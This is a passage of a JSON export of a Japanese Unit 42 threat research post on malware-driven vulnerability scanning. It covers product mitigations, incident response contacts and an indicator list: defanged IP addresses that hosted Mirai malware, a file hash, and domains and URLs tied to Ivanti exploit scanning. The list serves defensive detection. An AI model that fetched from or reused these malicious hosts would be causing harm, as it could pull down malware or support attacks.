href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-wildfire\" target=\"_blank\" rel=\"noopener\">Advanced WildFire<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/dns-security\" target=\"_blank\" rel=\"noopener\">DNS Security<\/a> \u306a\u3069\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/security-subscriptions\" target=\"_blank\" rel=\"noopener\">\u30af\u30e9\u30a6\u30c9\u914d\u4fe1\u578b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30fc\u30d3\u30b9<\/a>\u3092\u6709\u52b9\u306b\u3057\u305f<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/next-generation-firewall\" target=\"_blank\" rel=\"noopener\">\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u3084 <a href=\"https:\/\/www.paloaltonetworks.jp\/sase\" target=\"_blank\" rel=\"noopener\">Prisma SASE<\/a> \u3092\u5f79\u7acb\u3066\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3068\u304f\u306b <a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-url-filtering\" target=\"_blank\" rel=\"noopener\">AURL Filtering<\/a> \u306f\u9032\u5316\u3059\u308b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u60c5\u52e2\u306b\u5bfe\u3059\u308b\u5805\u7262\u306a\u4fdd\u8b77\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001AURL \u3092\u3054\u5229\u7528\u306e\u304a\u5ba2\u3055\u307e\u306f\u3001Scanning Activity (\u30b9\u30ad\u30e3\u30f3 \u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3) \u306e\u30ab\u30c6\u30b4\u30ea\u30fc\u3092\u30d6\u30ed\u30c3\u30af\u3059\u308b\u3060\u3051\u3067\u3001\u672c\u7a3f\u3067\u89e3\u8aac\u3057\u305f\u30b9\u30ad\u30e3\u30f3\u306e\u52d5\u4f5c\u3092\u30d6\u30ed\u30c3\u30af\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u307e\u305f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/prisma\/cloud\/web-application-API-security\" target=\"_blank\" rel=\"noopener\">Prisma Cloud WAAS<\/a> \u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6 Web \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068 API \u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3092\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3059\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<\/p>\n<p>\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.jp\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">\u3053\u3061\u3089<\/a>\u306e\u554f\u3044\u5408\u308f\u305b\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001infojapan@paloaltonetworks.com \u307e\u3067\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4e0b\u8a18\u306e\u96fb\u8a71\u756a\u53f7\u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044(\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n<ul>\n<li>\u5317\u7c73\u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb: 866.486.4842 (866.4.UNIT42)<\/li>\n<li>EMEA: +31.20.299.3130<\/li>\n<li>APAC: +65.6983.8730<\/li>\n<li>\u65e5\u672c: (+81) 50-1790-0200<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u3053\u308c\u3089\u306e\u8abf\u67fb\u7d50\u679c\u3092 Cyber Threat Alliance (CTA: \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9) \u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA \u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u3063\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3067\u304d\u307e\u3059\u3002\u8a73\u7d30\u306f <a href=\"https:\/\/www.cyberthreatalliance.org\" target=\"_blank\" rel=\"noopener\">Cyber Threat Alliance<\/a> \u306b\u3066\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\uff61<\/p>\n<h2><a id=\"post-133302-_6ccf4gp3ycc8\"><\/a><strong>IoC (\u4fb5\u5bb3\u6307\u6a19) <\/strong><\/h2>\n<p><strong>Mirai \u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u305f IP \u30a2\u30c9\u30ec\u30b9\u3001URL\u3001SHA<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">45.66.230[.]32<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">85.208.139[.]73<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">87.120.88[.]13<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">95.214.27[.]244<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.110.33[.]164<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.95.196[.]149<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.131.57[.]59\/mips<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.212.81[.]116<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.228.126[.]17<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">145.40.126[.]81\/mips<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">146.19.191[.]85<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">146.19.191[.]108<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">176.97.210[.]211\/mips<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">185.112.83[.]15<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">193.31.28[.]13<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">193.47.61[.]75<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">217.114.43[.]149<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">23190d722ba3fe97d859bd9b086ff33a14ae9aecfc8a2c3427623f93de3d3b14<\/span><\/li>\n<\/ul>\n<p><strong>Ivanti \u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u306b\u95a2\u9023\u3057\u3066\u3044\u305f\u30c9\u30e1\u30a4\u30f3\u3068 URL<br \/>\n<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">dnslog[.]store<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/45.130.22[.]219\/ivanti.js<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">137.220.130[.]2\/doc<\/span><\/li>\n<\/ul>\n<h2><a id=\"post-133302-_dxrhikssafrj\"><\/a><strong>\u8b1d\u8f9e<\/strong><\/h2>\n<p>\u672c\u7a3f\u57f7\u7b46\u3067\u652f\u63f4\u3057\u3066\u3044\u305f\u3060\u3044\u305f Unit 42 \u30c1\u30fc\u30e0\u306b\u304a\u793c\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002\u307e\u305f\u3001\u672c\u7a3f\u306b\u3064\u3044\u3066\u8cb4\u91cd\u306a\u52a9\u8a00\u3092\u304f\u3060\u3055\u3063\u305f Bradley Duncan\u3001Lysa Myers \u5404\u6c0f\u306b\u306f\u3068\u304f\u306b\u539a\u304f\u304a\u793c\u3092\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u30de\u30eb\u30a6\u30a7\u30a2\u304b\u3089\u958b\u59cb\u3055\u308c\u308b\u300c\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u300d\u3092\u884c\u3046\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u6570\u304c\u5897\u52a0\u3057\u3066\u304d\u3066\u3044\u308b\u3053\u3068\u304c\u3001\u5f0a\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u304b\u3089\u308f\u304b\u3063\u3066\u304d\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u300c\u653b\u6483\u8005\u3089\u304c\u76f4\u63a5\u7684\u306a\u30b9\u30ad\u30e3\u30f3\u3068\u3044\u3046\u5f93\u6765\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u306b\u4ee3\u3048\u3066\u3001\u3069\u306e<\/p>\n","protected":false},"author":329,"featured_media":134021,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1974,4428],"tags":[4545,4547,4549],"product_categories":[4441,4442,4443,4444,4446,4456,4458,4461,4462,4465],"coauthors":[4301,1488,2964,3806,4302,2966],"class_list":["post-133302","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-malware-ja","category-threat-research-ja","tag-ivanti-ja","tag-mirai-ja","tag-network-scanning-ja","product_categories-advanced-dns-security-ja","product_categories-advanced-threat-prevention-ja","product_categories-advanced-url-filtering-ja","product_categories-advanced-wildfire-ja","product_categories-cloud-delivered-security-services-ja","product_categories-next-generation-firewall-ja","product_categories-prisma-cloud-ja","product_categories-prisma-cloud-waas-ja","product_categories-prisma-sase-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u653b\u6483\u8005\u306b\u3088\u308b\u76f4\u63a5\u30b9\u30ad\u30e3\u30f3\u3067\u306f\u306a\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u5897\u52a0\u50be\u5411\u304c\u660e\u3089\u304b\u306b<\/title>\n<meta name=\"description\" content=\"\u30de\u30eb\u30a6\u30a7\u30a2\u304b\u3089\u958b\u59cb\u3055\u308c\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u3092\u884c\u3046\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u5897\u52a0\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u304b\u3089\u308f\u304b\u3063\u3066\u304d\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u653b\u6483\u8005\u3089\u304c\u76f4\u63a5\u7684\u306a\u30b9\u30ad\u30e3\u30f3\u3068\u3044\u3046\u5f93\u6765\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u306b\u4ee3\u3048\u3066\u3069\u306e\u3088\u3046\u306b\u611f\u67d3\u30db\u30b9\u30c8\u3092\u4f7f\u3063\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u306e\u30b9\u30ad\u30e3\u30f3\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u304b\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/malware-initiated-scanning-attacks\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u653b\u6483\u8005\u306b\u3088\u308b\u76f4\u63a5\u30b9\u30ad\u30e3\u30f3\u3067\u306f\u306a\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u5897\u52a0\u50be\u5411\u304c\u660e\u3089\u304b\u306b\" \/>\n<meta property=\"og:description\" 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